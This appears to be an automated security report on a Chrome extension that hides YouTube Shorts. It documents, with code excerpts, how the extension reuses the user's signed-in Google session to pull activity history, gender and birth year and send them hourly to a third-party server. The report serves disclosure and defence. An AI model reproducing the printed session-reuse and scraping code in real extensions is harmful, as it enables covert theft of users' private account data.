Is YouTube Shorts Remover [QVI] safe?

Low risk

YouTube Shorts Remover reads the user's Google activity history and profile data, then sends it to a third-party server.

Alongside its stated job of hiding YouTube Shorts, the extension's background worker periodically checks in with an external server and, when instructed, uses the browser's existing signed-in Google session to pull the account's activity history from Google's My Activity page and its gender and birth year from the Google Account page. The collected data is tagged with a stable hash derived from the account email and uploaded to the third-party server on the same schedule.

BestChromeExtensionsv0.0.3Chrome Web Store
26Risk
Who publishes it

HideApp - 38 other listings from the same operator, 1 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
BestChromeExtensions
Declared legal entity
HideApp

Shared hosts - 1 hostname

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

bestchromextensions.com
Also called by 3 other listings: HBO Max HQ: change video quality [QVI], HBO Max Subtitle Editor RTL Fix, Audio Booster works with Disney+ [QVI]

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Same C2 check-in also harvests your Google account's gender and birth year

Code analysis shows the extension's background worker can reuse your signed-in Google session to read your gender and birth year from your Google account page, then send them, hashed to your account, to metricmuse.xyz.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-359
Source
Static analysis
What actually happens
You did this

The metricmuse.xyz server responds to the extension's routine check-in with a PROFILE command.

This uses the same hourly alarm and check-in channel documented in the companion Google Activity history finding on this extension.

The extension did this

The extension reuses your signed-in Google session to read your account's gender and birth year, then uploads them to the same third-party server.

Neither field relates to hiding YouTube Shorts, the extension's stated purpose.

The code that does this

Fetching your Google account page with the ambient session cookie

Readable version
const fetchBirthdayPage = async () => {  // credentials:'include' sends your existing Google session cookie;  // no login prompt or user interaction occurs.  const request = await fetch("https://myaccount.google.com/birthday", {    method: "GET",    credentials: "include"  });  return request.text();};
The code that does this

Parsing gender and birth year out of the account page, then hashing the email as an upload key

Readable version
const extractDataFromHTML = (htmlString) => {  const ijMatch = htmlString.match(/<script[^>]*id="_ij"[^>]*>([\s\S]*?)<\/script>/);  const ijValues = ijMatch ? extractArrayLiteral(ijMatch[1]) : [];  const email = ijValues.find(v => typeof v === "string" && v.includes("@")) || null;  const gender = ijValues.find(v => v === "male" || v === "female") || null;  // Google's account page embeds the birth year under an internal data key.  let birthYear = null;  const re = /AF_initDataCallback\((\{[\s\S]*?\})\)/g;  let m;  while ((m = re.exec(htmlString)) !== null) {    const obj = JSON.parse(normalizeJSLikeToJSON(m[1]));    if (obj.data && obj.data[0] === "ac.s.bir.br" && obj.data[1]?.length === 3) {      birthYear = obj.data[1][2];      break;    }  }  return { email, gender, birthYear };};// The email itself is then discarded (data.email = undefined) and replaced// with a SHA-256 hash used to key the upload to the same account as the// history finding, without transmitting the plaintext email.
What is uploaded to metricmuse.xyz
  • Gender
    gender: 'female' (illustrative)

    The gender recorded on your Google account, read from your account settings page.

  • Birth year
    birthYear: 1991 (illustrative)

    The birth year recorded on your Google account.

  • Account identifier
    profileId: 'a94a8fe5ccb19ba61c4c0873d391e987982fbbd3' (illustrative)

    The same SHA-256 hash of your account email used elsewhere, linking this profile data to your account.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Hide Shorts extension harvests your Google Activity history to a third party

Code analysis shows the extension's background worker reuses your signed-in Google session to read your My Activity history and sends it hourly to metricmuse.xyz, a server unrelated to hiding YouTube Shorts.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-506
Source
Static analysis
What actually happens
You did this

You install the extension while signed into a Google account, expecting it only to hide YouTube Shorts.

No interaction with Google's My Activity page is required; the extension acts on a timer in the background.

The extension did this

A background alarm reuses your Google session to read your My Activity history and sends it to a third-party server.

The behavior lives in a separate 'Hunters/Youtube' data-collection module, not in the Shorts-hiding code.

The code that does this

The alarm schedule that drives the hourly check-in

Readable version
const INITIAL_DELAY_MINUTES = 30;const INTERVAL_MINUTES = 60;const ALARM_NAME = "dh-run-youtube";chrome.runtime.onInstalled.addListener(async () => {  await chrome.alarms.create(ALARM_NAME, {    delayInMinutes: INITIAL_DELAY_MINUTES,    periodInMinutes: INTERVAL_MINUTES  });});chrome.alarms.onAlarm.addListener(async (alarm) => {  if (alarm.name !== ALARM_NAME) return;  await run(); // run() calls scrapeYoutube()});
The code that does this

Reusing your Google session to capture an auth token, then reading your activity feed

Readable version
const getAuthData = async () => {  // Ambient session cookie is sent automatically; no login prompt shown.  const request = await fetch("https://myactivity.google.com/myactivity", {    credentials: "include"  });  const doc = await request.text();  const match = doc.match(/window\.WIZ_global_data\s*=\s*({.+?});<\/script>/s);  const data = JSON.parse(match[1]);  return { token: data.SNlM0e, email: data.oPEP7c }; // auth token + account email};// Later, the captured token authenticates a request to Google's OWN// internal Activity-history RPC endpoint:const BATCH_EXECUTE_URL = "https://myactivity.google.com/_/FootprintsMyactivityUi/data/batchexecute?hl=en";const ACTIVITY_RCP_ID = "y3VFHd";const ACTIVITY_SERVICES = [15, 25, 26, 27, 35, 55];
What is sent to metricmuse.xyz
  • Account identifier
    accountId: 'a94a8fe5ccb19ba61c4c0873d391e987982fbbd3' (illustrative)

    A SHA-256 hash of your Google account email, used as a stable ID to tie every upload back to the same account over time.

  • Google Activity entries
    {title:'Searched for running shoes', time:1735489200} (illustrative)

    The pages and searches recorded in your Google My Activity history, retrieved from Google's own internal Activity API.

  • Device and locale details
    {gmtDiffSeconds:-14400, browserLanguage:'en-US'} (illustrative)

    Your browser language and timezone offset, sent alongside the account identifier on every check-in.

Where the data goes
    • metricmuse.xyz

    Receives the hourly command check-in and the harvested Google Activity history. Not disclosed in the extension's listing or its stated Shorts-hiding purpose.

    • myactivity.google.com

    Google's own service; contacted using your ambient session rather than through Google's consented Takeout or API flow.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

What it can do

Permissions this extension asks for, as declared in version 0.0.3. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every secure site you visit

    https://*/*

  • Schedule its own background tasks

    alarms

  • Store data in your browser

    storage

Where it sends data

Destinations our analysis observed YouTube Shorts Remover [QVI] contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • metricmuse.xyz

    YouTube Shorts Remover [QVI] sends data to metricmuse.xyz. 12 other extensions we have analyzed send data here.

Updated 30 September 2026idpjokbphjogopagafnehimljmngbhkm